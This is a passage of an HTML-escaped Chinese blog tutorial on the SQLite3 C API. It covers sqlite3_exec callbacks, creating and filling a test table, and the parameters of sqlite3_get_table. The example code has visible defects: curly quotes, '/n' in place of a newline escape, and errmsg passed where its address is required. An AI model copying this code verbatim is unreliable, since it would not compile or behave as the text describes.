class=\"line\"\u003e61\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e82\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e83\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e84\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e85\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e86\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e87\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e88\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e89\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e90\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e91\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e92\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e93\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e94\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e95\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e96\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e97\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e98\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e99\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e100\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e101\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e102\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e103\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e104\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e105\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e106\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e107\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e108\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e109\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e110\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e111\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e112\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e113\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e114\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e115\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e116\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e117\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//sqlite3的回调函数      \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// sqlite 每查到一条记录,就调用一次这个回调\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eLoadMyInfo\u003c/span\u003e\u003cspan class=\"params\"\u003e( \u003cspan class=\"type\"\u003evoid\u003c/span\u003e * para, \u003cspan class=\"type\"\u003eint\u003c/span\u003e n_column, \u003cspan class=\"type\"\u003echar\u003c/span\u003e ** column_value, \u003cspan class=\"type\"\u003echar\u003c/span\u003e ** column_name )\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"comment\"\u003e//para是你在 sqlite3_exec 里传入的 void * 参数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"comment\"\u003e//通过para参数,你可以传入一些特殊的指针(比如类指针、结构指针),然后在这里面强制转换成对应的类型(这里面是void*类型,必须强制转换成你的类型才可用)。然后操作这些数据\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"comment\"\u003e//n_column是这一条记录有多少个字段 (即这条记录有多少列)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"comment\"\u003e// char ** column_value 是个关键值,查出来的数据都保存在这里,它实际上是个1维数组(不要以为是2维数组),每一个元素都是一个 char * 值,是一个字段内容(用字符串来表示,以/0结尾)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"comment\"\u003e//char ** column_name 跟 column_value是对应的,表示这个字段的字段名称\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003cspan class=\"comment\"\u003e//这里,我不使用 para 参数。忽略它的存在.\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003cspan class=\"type\"\u003eint\u003c/span\u003e i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e( “记录包含 %d 个字段/n”, n_column );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e( i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e ; i \u0026lt; n_column; i ++ )\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e( “字段名:%s  ß\u0026gt; 字段值:%s/n”,  column_name[i], column_value[i] );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e( “------------------/n“ );        \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e( \u003cspan class=\"type\"\u003eint\u003c/span\u003e , \u003cspan class=\"type\"\u003echar\u003c/span\u003e ** )\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    sqlite3 * db;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003cspan class=\"type\"\u003eint\u003c/span\u003e result;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003cspan class=\"type\"\u003echar\u003c/span\u003e * errmsg = \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    result = sqlite3_open( “c:\u003cspan class=\"comment\"\u003e//Dcg_database.db”, \u0026amp;db );\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e( result != SQLITE_OK )\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e        \u003cspan class=\"comment\"\u003e//数据库打开失败\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e-1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//数据库操作代码\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//创建一个测试表,表名叫 MyTable_1,有2个字段: ID 和 name。其中ID是一个自动增加的类型,以后insert时可以不去指定这个字段,它会自己从0开始增加\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eresult = sqlite3_exec( db, “create table MyTable_1( ID integer primary key autoincrement, name nvarchar(\u003cspan class=\"number\"\u003e32\u003c/span\u003e) )”, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, errmsg );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(result != SQLITE_OK )\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e( “创建表失败,错误码:%d,错误原因:%s/n”, result, errmsg );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//插入一些记录\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eresult = sqlite3_exec( db, “insert into MyTable_1( name ) values ( ‘走路’ )”, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, errmsg );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(result != SQLITE_OK )\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e( “插入记录失败,错误码:%d,错误原因:%s/n”, result, errmsg );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eresult = sqlite3_exec( db, “insert into MyTable_1( name ) values ( ‘骑单车’ )”, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, errmsg );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(result != SQLITE_OK )\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e( “插入记录失败,错误码:%d,错误原因:%s/n”, result, errmsg );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eresult = sqlite3_exec( db, “insert into MyTable_1( name ) values ( ‘坐汽车’ )”, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e, errmsg );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e(result != SQLITE_OK )\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e    \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e( “插入记录失败,错误码:%d,错误原因:%s/n”, result, errmsg );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//开始查询数据库\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eresult = sqlite3_exec( db, “select * from MyTable_1”, LoadMyInfo, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, errmsg );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//关闭数据库\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esqlite3_close( db );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e通过上面的例子,应该可以知道如何打开一个数据库,如何做数据库基本操作。\u003c/p\u003e\u003cp\u003e有这些知识,基本上可以应付很多数据库操作了。\u003c/p\u003e\u003cp\u003e(3)不使用回调查询数据库\u003c/p\u003e\u003cp\u003e上面介绍的 sqlite3_exec 是使用回调来执行 select 操作。还有一个方法可以直接查询而不需要回调。但是,我个人感觉还是回调好,因为代码可以更加整齐,只不过用回调很麻烦,你得声明一个函数,如果这个函数是类成员函数,你还不得不把它声明成 static 的(要问为什么?这又是C++基础了。C++成员函数实际上隐藏了一个参数:this,C++调用类的成员函数的时候,隐含把类指针当成函数的第一个参数传递进去。结果,这造成跟前面说的 sqlite 回调函数的参数不相符。只有当把成员函数声明成 static 时,它才没有多余的隐含的this参数)。\u003c/p\u003e\u003cp\u003e虽然回调显得代码整齐,但有时候你还是想要非回调的 select 查询。这可以通过 sqlite3_get_table 函数做到。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003esqlite3_get_table\u003c/span\u003e\u003cspan class=\"params\"\u003e(sqlite3*, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e *sql, \u003cspan class=\"type\"\u003echar\u003c/span\u003e ***resultp, \u003cspan class=\"type\"\u003eint\u003c/span\u003e *nrow, \u003cspan class=\"type\"\u003eint\u003c/span\u003e *ncolumn, \u003cspan class=\"type\"\u003echar\u003c/span\u003e **errmsg )\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e第1个参数不再多说,看前面的例子。\u003c/p\u003e\u003cp\u003e第2个参数是 sql 语句,跟 sqlite3_exec 里的 sql 是一样的。是一个很普通的以/0结尾的char *字符串。\u003c/p\u003e\u003cp\u003e第3个参数是查询结果,它依然一维数组(不要以为是二维数组,更不要以为是三维数组)。它内存布局是:第一行是字段名称,后面是紧接着是每个字段的值。下面用例子来说事。\u003c/p\u003e\u003cp\u003e第4个参数是查询出多少条记录(即查出多少行)。\u003c/p\u003e\u003cp\u003e第5个参数是多少个字段(多少列)。\u003c/p\u003e\u003cp\u003e第6个参数是错误信息,跟前面一样,这里不多说了。\u003c/p\u003e\u003cp\u003e下面给个简单例子:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e( \u003cspan class=\"type\"\u003eint\u003c/span\u003e , \u003cspan class=\"type\"\u003echar\u003c/span\u003e ** )\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   sqlite3 * db;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003eint\u003c/span\u003e result;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan class=\"type\"\u003echar\u003c/span\u003e * errmsg = \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e   \u003cspan 